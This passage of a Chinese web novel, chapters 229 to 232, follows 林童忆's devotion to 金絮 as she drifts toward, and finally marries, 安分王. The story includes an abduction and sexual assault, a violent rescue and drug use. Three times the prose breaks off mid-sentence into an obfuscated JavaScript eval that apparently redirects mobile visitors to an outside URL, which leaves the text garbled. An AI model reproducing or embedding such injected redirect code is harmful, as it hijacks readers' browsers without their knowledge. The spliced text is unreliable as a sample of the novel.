林布的前科是冬季尚未结束时举报了那个为乞丐流民收购旧衣料子的世家,而薛家背靠丞相三子,薛柴想整他实在太过容易。哪怕告到官府,当官的也不会搭理一个不算什么东西的店铺。 无处可去,路引还没下来。他忽然想到,温柔馆换来五枚铜板的时候她是什么样的心情,她怎么可能没有恨。 他必须帮助她,她心中那股气必须由他来疏通,帮她也是帮他自己。 他找了处便宜地方暂住。便宜的地方住着便宜的人。春天快要过去时,他遇见了比他还要穷困潦倒的人。 凝荷和水夭她们离开温柔馆后,毁的毁,死的死,倒塌的倒塌。凝荷哭着问他能不能联系上阿絮姐。 他说他此刻没有办法离开京城。 但他承诺,只要能出去,只要能见到她,一定会劝她再次上京。 凝荷给了他一封信,她们连寄去一封信的钱都拿不出。 他看见瘫痪在床的水夭,给她们援助一些铜板,他能帮的也不多。 好不容易等到路引办置下来,春天已经过去了。 他收拾好行囊,打定主意此行一定要找到她。 是否在一个郡县中拥有“家”这个东西,他很早就有了判断。那就是在离开这个郡县时,行李是靠自己一个人就拿得动还是一辆车拿得动还是必须几辆车才能拿得动。 要几辆车才能拿得动行李,那么就算有了完整的家。 而他的全部行李显然用他的双肩就挂得住。也好,轻轻松松。 229. 童扇(六) 找不到她。 无论怎样找都找不到她。 林童忆只好临时找个短工干着,租了一间屋子保证有饭吃。 对这座郡城并不熟悉,但他还记得那年她从王府逃出,首先回到的就是在太南的家。他还记得大概的位置。他记得他在那屋子里偷走了一件衣裳,换取进入京城的机会。 然而这座宅子如今却住着别的人。 战后毁损的大宅子重建得差不多了,安然居住着别的人。 他上门叩问,别的人告诉他这里所属的主人是安分王。 安分王。又是安分王。 鬼影子一样地缠着她,鬼影子一样地缠着他。 如果她在太南,肯定会来这座宅邸看看的。他有空就在宅子外守着。多年前的小乞丐仿佛附了他的身,他仿佛从未摆脱过乞丐的身份。 守了一两月,他准备放弃,换个别的法子。她或许不在太南。 柳暗之际,路遇一个小姑娘认出了他。 小姑娘叫柔竹,自称是她多年前收留并养在太南的小姑娘。 她在太南有自己的宅子,小柔竹和温柔馆前任鸨母的儿子住在一起,自理起居。 他问她在哪里。柔竹说她暂时不在太南,出门游玩去了。 看来她似乎心情不错,愿意出去玩。 有办法找到她就好。林童忆又问她是一个人出去玩吗? 柔竹说有王爷陪着她。 安分王。安分王。又是安分王。 安分王是她的笼子吗?她是安分王的鸟吗?到处溜? 林童忆闷不吭声地等她回来,除了等,他什么也做不了。 等到天气极为炎热,他每日下工就爬上太南的高塔,扫视城内几条大街会不会出现她的身影。 两个月,终于看见街上一晃而过的她。 林童忆急忙飞一般下塔,混入人群寻找她的身影。 循着她前行的方向,在一个偏僻的巷角,亲眼看见她被人迷晕拖走。 马车飞速而过。心心念念的人总算见到,令他不顾一切追上去。 一直驶向城僻处的战后破屋群,林童忆看见一间破屋外停着那辆马车,他看见马车上的标记,同样是曾经温柔馆的常客,贾家的,似乎叫贾镇。 破屋没有大门,直入里面看见她被一颗大肉球压在一张破床上面折腾。 一巴掌扇下去,她挣扎的双手便无力地垂落。 又要得罪一个大商贾。贾家背后是什么人? 可是他做的穿在她身上的衣裳,怎么能被别人扒下来! 林童忆大怒,冲进去,一脚踹翻那个肉球,捡起地上一截木棍直接戳过去。木棍被肥胖的肚子弹开,他再高举棍子照着头一挥。贾镇被打得站不起来。 他脱下衣服包住她,抱她离开。她的头被打破了,失血过多浑身开始发冷。住的地方很难找到大夫,林童忆将她送去驿馆暂住。 叫来大夫为她治伤和包扎,全部完毕已经接近深夜,药铺都关门了无法抓药,林童忆坐在她的床边守了一夜。 她一夜未醒。天蒙蒙亮,他出外买妥药物回驿馆煎熬。借驿馆的厨房煮好药汤回房,正好见她醒来了。 她很意外,满头脸肿着还有力气和他说谢谢。 林童忆太开心了,将药端给她,和她解释昨日碰巧遇上她的缘由。 她也开心,喝了两口药汤恢复一些气色。她黑了好多。 她问林公子为什么会在太南。 他谎称是因生意上的事。 她也不多问,他还想劝她再多睡会,话没有说完,房门外传来一声嘹亮的呐喊。 外面的人在喊阿絮。 林童忆惊了,简直忘记该如何反应。 为什么安分王可以找得这么快。 门被踹开,砸出巨响。林童忆刚看见安分王的脸,还未看清,整个人被一股大力掀得往后飞起来,砸到房中一个矮柜上。他整个人被砸懵了。 没有把她送回家就是想着安分王不会那么快找来。这才一个晚上。 他被砸得头晕眼花,头被砸到墙壁,后背和腰被矮柜顶得剧痛。 安分王厉声问他是何人。 他一时不太清醒,答不上来。颈间一只手牢牢拽着他的衣领,钳着他的咽喉。 他们一通说话,安分王缓了语气,向他弯腰鞠躬道谢。 他哪能受此大礼。 钳制他的手掌松开,他第一次见识到安分王的暗卫。他故作云淡风轻,掩饰想要偷藏她的心思,暗暗承下救她一命的恩情,然后告辞。 沐浴阳光之下,剧痛褪下,清明的脑子回想这几年,无数次站在温柔馆的角落,无数次默默无闻,安分王果然从未正眼看过他。 之后安分王带她回到她曾经的家中。那是安分王早就为她买下的宅子。 林童忆继续等。等安分王离开。 安分王不可能一直留在太南,但她可以不回京城。她要回京城,也该是在他的劝说之下。 她留在宅子中养伤,很难再接触到她。好不容易等到她出来,却意外事件频发。祈福塔塌毁滞留了安分王回京的脚步。 她身边仍然有一个鬼一样的影子。 再等到祈福塔事毕,安分王再不能滞留太南。 目送她目送安分王离去,林童忆心里燃放胜利的鞭炮,此刻整个中原的人都在为他庆祝这一时的喜悦。 他留饲她出门,静候一次偶遇的时机。 他换了一座矮塔,终于从高看见她独自出门的时候。 她也看见他,颇为意外。他带她去河边一座冷清茶楼,将凝荷的信递给她看。 留意她的神情。她的确在看过信后产生了去见凝荷一面的想法。 他顺势说出去年她问他的那句话是什么意思。她的神情变得有些古怪。 是被说中了吗? 她却说不是。 他不信。他绝对说中了。 他问是不是他太着急了,找的场合也不对,他问她是不是还想依靠安分王。 安分王像个鬼一样地跟着她,是不是于她而言安分王有可利用之处。 那没关系,她也可以来利用他啊。 金絮起身试图离去。他叫住她,说复仇这回事他也是想做的。 这句话绝对命中她的心了。 看着她汗流浃背,林童忆心中产生一丝胜利的喜悦,被说中了吧,感激吧。这就是恩情的份量。他给得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839964|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起。 他追着她说还会去找她的。 接下来就是着手回京了。不知她准备如何回京。他辞了工,收拾好行李,赁了一辆马车,随时可以离开。 他很快敏锐地发现,她身边多了一个人。一个黑衣人。并迅速反应过来是安分王放在她身边的人手。 她思索了几天,回复说愿意上京。但是如何上京由她自己想办法,她说她要甩掉安分王的眼线,她要神不知鬼不觉地上京。 林童忆说好。 她想怎样就怎样。他不会像安分王那样把她关在一个鸟笼子里。 他当先回京城,行李如来时一样简单。 安顿好住的地方,他去看了看凝荷她们。告诉她们,阿絮快回来了。 他自己也得找份工做。但是找之前想知道一下她对于复仇的计划,再根据她的计划做后续安排。 他多去书肆,翻看以往朝代各个名人的复仇记录,记一些关键点,作为参考经验。 兴致勃勃,一切都在往光明美好的方向发展。 又一次去凝荷的商铺找她们,她们说她到京几天了,今日去了山里为孙姨烧纸钱。 林童忆便也上山去。果然在山中遇见她。看见他的一刻,她眼中复杂难言。风大,火星飞舞。星星点点却浓缩了天地的光芒,像她眼中每一刻的闪动。 他展开折扇,说小时候被她救下的经历,他是在报恩。 她说不记得了。 果然不记得了。 这不怪她。他自己生命中的过客他也不记得了。往后他只留下让她记得的事情就好。 他说他可以参军,可以做幕僚,可以为她谋出路,可以为她做一切。他还问,她接近安分王是不是也在谋出路。 她愣住了,说他好厉害,明明复仇还没开始,却很在状态。 帮她复仇,他一直都在状态之中。如果她不在状态,那他可以帮她进入状态。 她因孙姨和水夭的死情绪不太好,林童忆也不想让她心情更差,暂时送她回家。 想给她几日平复情绪,他便暂时不去找她。结果刚好在官署门前遇见她们。 火蓉姑娘可以下地走路了,她们似乎在办置户籍和路引的事。 他走上前,问她是要去哪里吗? 火蓉说准备离京了。她们在京城待不下去,往后去太南生活。 他问她的决定。 她苍白的脸色忽然露出一点浅笑。她说,她的确不甘心。 于是林童忆也笑。尽在把握地笑。他早就知道自己明白她的心思。 金絮看着他,脸上笑一点点消下去。突然开口,问能不能麻烦他送火蓉和凝荷她们回太南。她不放心她们一起回去。 他毫不犹豫地答应了。 较为轻松的笑总算出现在她脸上。 但其实他有点急,租着屋子却不做工,没有工钱可不行。不过答应了她就要做到。他带上简单的东西,出发的日子在与火蓉约定好的地方会面。 太南很近,几天就到了。来回一趟也不到半个月。 然而回来后,他才发现她将温记那间铺子卖了。他根本不知道她现如今住在哪里。 再一次地,找不到她了。 230. 童扇(七) 想复仇。但没想过如何复仇。 复仇两字何解?复仇到底是什么? 为什么安分王总是轻而易举地找到她。而他总是找不到。 因为安分王身边有效忠的人?而他没有? 为什么他总是处处不如安分王? 也是。一个平民如何跟一个诸侯王比。他产生攀比这种念头都是僭越。 等待,继续等待。 短短二十几年的生涯中,干得最多的一件事情就是等待。 等待她的来信,等待她的联系,她知道他的行踪吗?她知道他已经回到京城了吗?她知道该如何联系他吗? 为什么走之前不和她约定一个暗号。不和她约定一个只有他们两个人知道的秘密地点。她说让他送人他就送人。 他找了份短工,换了个好一点的住所,将屋子打扫干净,想着她若是没地方住可以住在他这里。 一个季节过去,素未谋面的黑衣人找上他,送来一封她的信件。 他立即拆信,信里写着她在目前住在王府,她已让安分王为他某了个宫廷宿卫的差事,叮嘱他要好好干。 这黑衣人是安分王的暗卫。她竟然能使唤安分王的暗卫。她果然在利用安分王。她嫌他不好利用,安分王才好利用。 林童忆回说好,还想问她什么时候能从王府出来,便写了封回信交给黑衣人。黑衣人愿意帮他代劳。 看着举荐信,宫廷宿卫岗,上面写着安分王的荐辞和王府印章。他跃升了好大一步,往后不用再找零工做了。 心里微微觉得不平,或许是被打压的感觉,可他确实做不到安分王这样随意安排人得到宫廷的差事。 宿卫是干什么的? 看门的。 在他站在宫门前的一刻就知道了。 他好像一直在看门。从前是个小乞丐也是在看门。作为流民流落在城墙根下,是在看门;作为乞丐时无数次在门外等待她,也是在看门;如今是名正言顺地看门,看的大门变成了未央宫的宫门。 林童忆老老实实去上岗。 虽然是个看门的,但不愧是个看皇宫大门的。月俸比他想象中多很多,衣服也很得体。每日牢牢不动地站着,看着街上来来往往的人,每个人都一脸敬畏地偷瞧他们这些守着门的人。那股敬畏仿佛是来源于他们。 还算不错。这份差事。 他凭他自己找不到这样的工干。可他也怀念以前开布行的日子,自己经营铺子虽然赚不到什么大钱,但是干得自由自在。 再次收到她的来信。她说她准备从王府搬出去,安分王身上没什么可捞的了,搬出来后她会和他联系。 林童忆于是等着。 还没等到她从王府搬出来,她忽然在一个清早找上门,说要他留意一个人,这个人叫冯棹台。 御史中丞冯棹台。他完全不认识。 交代完她便走了,急于回王府应付安分王。 他接着等。 他值守的宫门是西北方向的,事务清闲,出入人不多,每日进出的人最多的就是朝廷大员,尤其在上朝和下朝的时辰。略一留意,还真让他注意到了冯棹台这个人。 御史中丞是个相当大的官。到底有多大他不清楚。其他宿卫都说冯大人做到这个位置上非常年轻。林童忆将每日收集到的官员们的事迹在下值后记到本子上。 有了事干,好等了。等到中秋之后,她离开了王府。 好好好。 终于,轮到他了。 她约他在客栈会面。林童忆反复确认她是不是从王府搬出来了,现如今打算住在哪里。 她说她要买个宅子,她说她要接触三皇子。 他能帮她挑选宅子,这么些年换了很多个住的地方,他挑看房子有经验。 她说好啊,谢谢林公子。 他也笑,开怀地笑。他再三确认她是不是往后不会再回到王府去了,她说是。 她要他记住每日出入皇宫那些大官的相貌。他说好,他已经在记了。 她说按她的计划,她要接触三皇子。 如何接触。她说三皇子可能想找她做情人。 林童忆目瞪口呆.难道还轮不到他吗?三皇子?又是一个比安分王厉害到哪里去的人? 他愤而拍桌,说她不能这样干。 她笑嘻嘻,说是开玩笑的。 他冷静下来,又被她下一句说要结拜为兄妹的话气晕。 他誓要转移话头,问她这段时日在王府都干了些什么。她说了很多,说到《温柔新语》,说到参加了一场名媛的宴会,说到安分王在朝中并不受到重视,安分王自己也不愿意过多插手朝廷的事情。 很好,显然安分王帮不到她什么。没准一个王爷能帮到她的还不如他一个看门的多呢。 她接着照她的计划走。她保证不会做三皇子的情人。林童忆强烈要求她去见三皇子的时候要有他随同。她答应了。 结果不知为何,去见三皇子这天,见到的人却是安分王。 他藏在路边远远看着,她和安分王不知说了些什么,安分王情绪激动,最后她当先独自走了。 她喜庆地说要买个宅子。 他问她和安分王说了些什么,她却只说撇清关系,其他不说。 他们之间显然还存在一种他无法触及的默契。林童忆心底沉下去。 选好宅子,她搬进去。她的行李同样非常简单。他终于能够掌握她的行踪。随时随地就能来看望她。说不定他能将她丰富起来,像有个家一样地丰富起来。 他主动表示想看《温柔新语》这本书。她说没什么好看的,她已经把书烧了。 但他就是想看。他去书肆找。找了两间书肆才买到了一本。 他用了几天将书全部翻完,有的字不认得就记下来去问别人,勉勉强强看完了。 看第一遍时就注意到了所谓安分王所眸甚大的那句话,但这是批注。而在批注之外,他翻遍了整本书,完全找不到一句写安分王的内容。 他甚至找到了几句写他的,都找不到写安分王的。 她没有写过安分王。 《温柔新语》共分五篇:贤媛、言行、起居、馆阁、停客。主要内容在第一篇,记述温柔馆中各名女子的生平事迹,余下四篇也都以各女子为核心。少数以写男人的停客篇,写的也都是在前几篇出现过的几个男人。 全篇未有一字提及安分王,这是她的一种保护吗?她想复仇,却与安分王府拉开距离,是不是在保护安分王?她说过,安分王在朝廷的风评不是很好。 安分王就那么特殊吗?凭什么? 文人大拿们对这本书的评价并不好,批注中所写道:此《语》选言,不入文心,恨乏大周风致。她因此讨厌这本书,讨厌批注的人,辱了她的心血。 那他可以认为之所以不写安分王,是不是就为了这一天?为了这本书不为文人所容时她可以心安理得毫无负担地厌恶这本书?因为书里完全没有写及安分王。 她烧了这本书,可是烧不完书肆里所有书。 他想问她,可是不敢问。他将书藏起来,假装看不到。 现在这样就很好了,不应该谈及某些她已经撇清关系的人,污染她的清净,让她想起她被辱的事实。 她的注意力已经在他这里。 有时和她谈天,谈及他的小时候,谈及那年她是如何救了他的。林布的事情瞒不住,她还会问林布是怎么没了的。 她愿意细听他的从前,林童忆非常乐意讲,他非常乐意让她多了解他一点。多一点,更多一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839965|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她安顿下来没多久,一日当值,他忽然在不远处一座高塔之上看见熟悉的身影。 那身影像座大山一样地压在他的心头。完完全全地覆盖他的心里。一丝透气的余地也不给他。 安分王竟然在监视他,在俯视他。 像个鬼一样地跟着她不够,还要来盯着他么。 他很想抬头瞪回去,可是他抬不起头,他只是目光沉沉地扫视大街,严防哪个平民百姓想要混入皇宫。 等他再用余光注意那从上而下的视线,安分王却已经离开了。之后他当值的时候再没见过安分王。 他应该任由安分王监视。这不是监视,这是监督。这份差事是安分王安排来的,他干得如何,安分王理应验收。 不应该拿人手软。否则他不会在刚才那一刻连头都抬不起来。可是不干这份差事,他还能怎么帮到她。 冬天到了。 大雪落下来。她平常很少出门,大多窝在屋子里睡觉。她说没什么赚钱心思,可是又缺钱使。 他想给她这些年攒下来的钱,她不要。他将钱换成煤炭或者粮食,她收下了一部分。她时不时也会给他送一袋年货。 一来一往中,春节来了。他忙起来,少去找她。 他收到她的新春贺礼。是一把新折扇。他收下了,可惜天冷暂时用不上。 每次休沐都会去找她,有时正好遇见她出门采购。她总是在一大早出门,在天没完全亮的时候,似乎是为了赶早集。 但她又不买什么东西。她像个孤魂野鬼一样地在雪地上游荡,穿着白色的厚袄,几乎披头散发,手指冻得发抖,游魂似的飘在各个街道。遇见人推动的小摊子就吃两口,然后继续游荡。 她好像不知道自己要干什么,从来没有发现他的尾随。 有事运气没那么好,她不在家,得在她家门前等几个时辰才能等到她回来。 问起她去了哪里,干了什么。她说她睡不好,昼夜颠倒,所以白天上街走走,消耗体力,以便晚上能睡得着。 他去买了安眠的药送给她。但是没见她吃过一次。 她看起来遇到苦恼,却不愿意和他诉说。 希望她能讲讲她的过去,可她不愿意。 冬季还未结束,他升任了。 成为光禄勋一个小小谒者。可以不用再看大门了。虽然月俸没有提升多少,但是至少不用风吹雨打日晒。 他喜庆地飞快跑去找她,想告诉她这个好消息。 跑到她家大门口,却意外发现她的大门没关。担心她家里闯了贼人,他急忙冲进去。 一股浓浓的刻在灵魂深处的甜香味包裹而来,惊得他一连后退数步。 雪白的烟气弥漫眼前,厚重而轻盈地占领整个宅子,放肆地宣布这是一座被污染的房屋。 留在他记忆中的香甜味含义很复杂,有母亲的无助哭泣殴打抛弃,有父亲的愉悦恶心野蛮萎靡,还有逼仄,还有他自己的无能。 她裹挟在这无能之中,飘飘欲仙。和父母不同的是,她没有能够殴打的暴力。 她无力且脆弱,一点点烟气就可以让她缴械投降,让她甘愿和妖魔做交易。 她怎么能愿意烂。她怎么能心甘情愿献出自己去被污染。她知道自己在干什么吗。 林童忆推开窗,雪白的烟丝往外散,空气重新变得轻盈起来,房间变得可爱起来。 她睡得很熟,这应当是她这几月来睡得最好的一次。端正她伏案的身体,抱起她,把她抱去内间的床榻。 她迷迷糊糊开口,说了四个字。 离她远点。 林童忆低头看她,她的双眼睁开一条若有若无的线,微弱的眼神透射出来。她还在熟睡。 她的身体和烟丝一样轻飘飘。 231. 童扇(八) 京城为什么会出现绿鸦膏。 他不是这辈子已经摆脱掉这个东西了吗? 甚至出现得离他这么近,甚至污染到了她。 他轻而易举地在外间的木架子上找到了绿鸦膏。巴掌大的一袋,沉甸甸,是他记忆中的黑暗味道。 这样的东西她甚至不会藏起来。和魔鬼做交易在她看来是很寻常可见的吗?不需要遮掩,不需要躲藏? 林童忆把东西扔了,未经她的允许。 她睡了好久。第二天去找她时还没睡醒。 难怪她想尝试绿鸦膏。他记得这东西麻痹作用非常强。他备好饭食,等待她被饿醒。 她醒了。毫无掩饰的一副刚睡醒的样子。林童忆为见着她这幅独一无二的样子而感到窃喜。 他说不要再碰这东西。她显然有点尴尬,说好。 他喋喋不休,和她说他的父母,说这东西的危害,说她的母亲因为什么弃他而去,说他的父亲因为什么将他嫁给某个富户,希望她能警醒。 她说知道。 知道。她当然知道。不知道也不会认出京城这么多年没有出现过的东西。 她越发尴尬,不得不像是挽尊一般笑着说绿鸦膏的体验还真不错。 不错。他当然知道不错。魔鬼占领自己的身体代行罪恶的时候当然很爽快。 气氛合适,他想和她聊些别的,他觉得可以问她些事情。他问她的父亲。他想知道她的过去。 她说了。她愿意讲她的过去了。她絮絮叨叨说了许多有关她父亲的生平。金丞相很多成就是他闻所未闻的。 她说朝廷不干净,希望能出现让它干净的人。她问这个人是不是他。 不是。他在心里回答。 如果她需要他是,那么他会尽力去做。 他问,她觉得这个人是安分王吗? 她说不是。 一句不是说得快速且笃定,仿佛她十分了解安分王,在这一刻不假思索地就能代替安分王回答出来。 林童忆沉默了。然后他说,他愿意为她做,不仅仅只是偿还恩情。这条路或许很难,但他愿意尝试。 轮到她沉默了。她沉默了很久。 她说他不合适。 她说,没必要因为偶然一次相帮而有太多负担。当年生命垂危之际,她的确送了很多东西给他,但他之后也因为这些东西遭受了许多本可以不必遭受的事情,比如偷盗、抢劫。 她摇头,说这不是拯救,这只能算是帮助,生命没有那么便宜。在其他事情上面帮回她也就是了,不用到偿还的程度。 他不认,救了的,她救了他。如果那时只是一刻的帮助,他早就在战乱中死了。 她说,只看当下,她是救了他,可他背后所背负的带来困苦的灾难根本没有得到解决,只能算帮助,而要解决灾难,就不是救一个人能做得到的了。 他还是不认,并不是非要拯救全部才是拯救,救一个人于危难也是拯救。他坚持他的想法,她的否定并不能让他动摇。 她没有继续辩驳,又问如果想要拯救朝廷应该怎么办。 没有别的办法,他说,只能用暴力和军队。 她很疑惑,使用了暴力和军队,那时对天下人做出的行为还能说是拯救吗。她给了点东西就能算拯救他,那拯救天下人应该给多少东西? 他不知道。这也不是他需要想的。他问,导致朝廷不干净的是什么人。他往后多加留意。 她说不知道。她连那些大官的面都见不到。 不干净的人都应该杀死吗? 她说,要看做了多坏的事情。 林童忆打定主意,往后要注意收集那些大官的事迹,说不定其中有可以作为软肋的把柄。 她说好啊。 他还说他升任了,如今是个谒者,管一些往来文书和礼赞的事宜,没有任何权限。 她说好啊,恭喜升迁,往后不管发生什么都好好干。对普通百姓来说,能在皇宫里面找个官当,不管多小,都是个好处很大的事情,不仅月俸高,还因为风险都有上面的人承担了。 他说是。 他还想问,她睡着后梦见了谁,迷迷糊糊那句离她远点,说的是谁。 但是想来想去,他没有开口。 之前年关事情多,现在新春过去,事情却也没少多少,他还是很忙。 他愿意多花点精力在差事上,盼望更多的升迁的可能。不往上升便永远接触不到大官,更何谈风险。 雪融化时气候愈发寒冷,他担心她少衣服穿,给她买了件新衣,打算在上值前送给她。 大清早的,天微微亮。如果敲门不开,他就直接进去。结果敲门之后,开门的是安分王。 他愣住了。安分王也愣住了。 很少这样直接地打照面。 他看了看,而后安分王的脸陡然变凶。 他当先讷讷地揖礼,说来是找她。 安分王双眼垂下地往下瞧,片刻移开眼神才说她在睡。 她在睡。林童忆又愣住了。 接着他开心地说太好了,她能一觉睡到现在是很少见的时候。她往常这会多是已经起早赶集去了。 这是发自内心的喜悦。他敏锐地发现安分王在听见这话后眼角抽了抽,冷着笑脸嗯了一声。 他将安分王神情全看在眼底,看出那冷脸底下微不可查的讥诮与不屑,还有微微的忌惮。他再礼,说改日来访并告辞。 背对着安分王离开。他回想,越想越不对劲,莫名其妙又隐隐约约地产生了一种遇见同类般的欣喜。 庞大的欣喜。这种欣喜必须踩住自己的对手才能产生。 或是窃喜。 或是幸灾乐祸。 总之,他感到十分愉悦。 原来安分王和他一样,原来安分王也视他为敌人,原来她对安分王的选择也并非是坚定不移的,原来大清早衣衫不整地和他说她还在睡也会令安分王产生隐秘而逾距的喜悦,原来大家都是凡人。 安分王还需要通过挑衅他来获得胜利。那安分王就没赢。 呵呵呵。 他么,一个平民如何配和堂堂诸侯王相比,没输就是赢。 他坚定不移地上值,坚定不移地打杂,坚定不移地加重自己在这份差事中的份量。 差事。 这份差事是安分王安排给他的。 他永远被安分王压了一头。 安分王会不会凭此事不断要挟她?还是和他一样,甘愿答应她的一切诉求。 然而根本不容他纠结几天,他得空再去找她时,她已经不在家了。邻居说她搬走了。 等了三天,不见她回来。 接着他便听说安分王在宫中遇刺的消息。 消息传开时,王爷已然病危。宫中受圣上指令压下事件,受的什么伤林童忆一点不知。 她不在。安分王要死了吗她在陪安分王走完最后一程吗?? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839966|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他终于尝试敲响安分王府的大门,里面的人拒不见客。 他徒劳地等着,安分王濒死并没有影响他每日要干的事。 不是说不会再回到王府去吗?不是说撇清关系了吗?他们在干什么。他夹在他们之间在干些什么。 一日复一日。 安分王没死。 中毒也能不死。不知哪个高人救了安分王。是她吧,她能救一切人。 朝堂的态度没有泄露出来,他遇见的每一个人都在议论纷纷。他从议论中听得出来,圣上当真十分不喜安分王。 面对皇帝的厌恶还能捡回一条命,这是她给安分王赐下的眷顾吗? 他感到日子变得越来越麻木,一日重复一日,每天过得没有差别。 直到熟悉的黑衣人再次送来信件。 她约他一叙。 约。 林童忆隐隐有种预感。他或许此生再也不能拥有她的眷顾了。 他早早到了约定地点。等她,还是在等她,永远在等她。 她和安分王一起并肩而行。走到不远处停下,她将安分王留在摊子里,独自向他走了过来。 看见安分王病后那张脸,那当真不再是一座大山,而是一摊沙子。只不过是一摊得胜的沙子。 她还没开口,林童忆微微一笑,请她代他替安分王问好。 她说好。 她说,他不欠她什么,真的。 他明白她的意思了。只问安分王待她好吗? 她没说话,沉默表明了一切。 对不起。 有什么好对不起的。做什么都是他心甘情愿。从前若是没有任何活下去的寄托,他早就死了。托她相帮,苟活至今。 他只能说安分王很幸运,绝处逢生,心想事成,爱总是汇聚于不缺爱的人。 他问她是不是不想复仇。 她没承认,也没否认。最后她说祝他幸福。 可是幸福是什么?他不知道。他能上哪学?她不能教会他吗? 濒死一次让她心疼了吗?他也可以。他可以自己吃毒,也可以请别人给他下毒。 可是他中了毒是真的会死,而不是像安分王那样还能活下来。他没有她的眷顾。 林童忆笑着回祝她幸福。 她起身向安分王走去。安分王偷偷瞪了他一眼,用眼神宣告胜利。 安分王的确赢了。 他们肩并肩离开,贴得紧密。 林童忆低头看手中的折扇。已经十分旧了,朽化的扇骨有好几处修复,开合都不利索,扇面的花纹几乎看不清了,扇柄还有磕损。 那年她送给他东西的场景,他回忆过很多次,这些年想起了许多细节。女子多用团扇。这扇子在她施舍后重新出现在她面前时,已经被刮掉了一层,她没认出来这是她兄长的东西。 算是遗物吧。可她并不留恋过去,过去的浓墨重彩并没有让她选择一条足够弥补自己的路。 他一直想错了。安分王才是明白她的人。 林童忆放下折扇,起身离去。 现在他应该干什么? 这个谒者还要干下去吗? 他突然发现自己失去目标。 难道这就是她说的不合适的意思吗?陷入朝廷争斗必需得是发自本心的意愿,而他不是,所以他不适合? 她早就看出来了?复仇这条路,他既没有坚定的信念与意志,也没有能力。她说让他滚,她是真的,在让他滚。 232. 童扇(完) 他们大婚。 他不在受邀之列。 这天告假,他想旁观她的大婚。 安分王给不起她一个充满喜气的大婚。 冷冷清清、稀稀拉拉的与宴宾客,还多是邻居,这是她大婚该有的样子? 他不知多少次像个乞丐一样地站在门外窥探。依稀的热闹随着大门关上而摒除外界的一切,留下小两口与世隔绝的日子。 周围似乎虎视眈眈,密密麻麻的蛛丝般的视线笼络整座王府。守门时日久了,他对视线的感知敏锐许多。 他察觉到周围隐约危机四伏,没有喜气,反而有杀气,然而他看不见蛛丝马迹和暗中窥伺的人。 什么人在盯着王府。或是在盯她。一条命被人惦记着的安分王就在这样的处境下娶了她,她不会为自己的轻率感到后悔吗?他替她感到后悔。 为她郁郁不平了一整夜。隔天,安分王府被封了。 府里的人都不见了,据说只剩下一个安分王。堂堂王爷独自接下革除为庶民的圣旨,牵着马离开王府。 林童忆后知后觉意识到,居然再也见不到她了,是偷偷望一眼都不行的见不到她了。 他继续干着谒者的差事,没有人驱赶他。但他有预感,安分王落魄后,庇护在他头顶的树荫即将消失,他干不长久了。 要开始为往后做准备。可是在光禄勋做过谒者,他还能出去干零工吗? 他不知道。 百姓间窃窃私语。听说安分王被追杀,在城里闹了不小的动静,出现几具死尸。 廷尉安排人手捡回城中尸体,安抚被惊扰的百姓。 光禄勋的事务终于清闲许多,林童忆得到几日休沐。他想尝试寻找安分王的踪迹,却在百姓的惶惶不安中见到冯棹台。 人群之中匆忙的一眼。那是少见的、没有穿着朝服的冯棹台。 他曾经想象自己穿着朝服站在朝堂之中会是什么场景。想象不出来。 当中有人偷藏尸体。冯棹台肃声严厉地叱骂,私藏尸体者杀无赦。 一个“杀”字从那文雅端正、贵不可言的朝服中喊出,听起来杀伐果断至极,有他想象中那种掌权者的血性,却与文雅端丽万分割裂。 冯大人亲临收尸现场,不知出于什么目的。可是她不在了,他还需要寻找这些大官的把柄吗? 不过匆匆一瞥,林童忆赶忙回往住的地方。 之后他彻底失去了安分王府一家的消息。安分王似乎被逼离京城,不知逃向哪里。 微弱的希望彻底熄灭,他一眼能看到此生的尽头。谒者这个差事还要继续干下去吗?如果还想继续干,那就需要找个能够庇护他的人,帮他承担风险。 他一介小卒,谁会把他放在眼里。与他同事的人没有一个人把目光往那些大官身上打量。 惶然不知所措时,他竟一直干了下去,始终无人驱赶他。头顶遮蔽他的手掌似乎原本就并不存在。他似乎未看清自己的处境,或是安分王的处境。 又到一年新春,光禄勋事务繁忙。一日上值,光禄勋府中聚集了众多的人,他懒得打探,穿过人群做自己的事。 第二天,来自宫中的旨令传来。 崇高的命令压过一切。和昌公主不知什么时候看上了他,点名叫他相陪,命他今晚即洗干净把自己送到公主的床榻上去。 林童忆吓了一大跳。 和昌公主的大名他早有耳闻,爱好豢养男宠。他一直不曾见过,这下切身听说了。 公主不知什么时候见过他,对他起了好奇之心。 林童忆不愿意当男宠,说什么也不愿意。 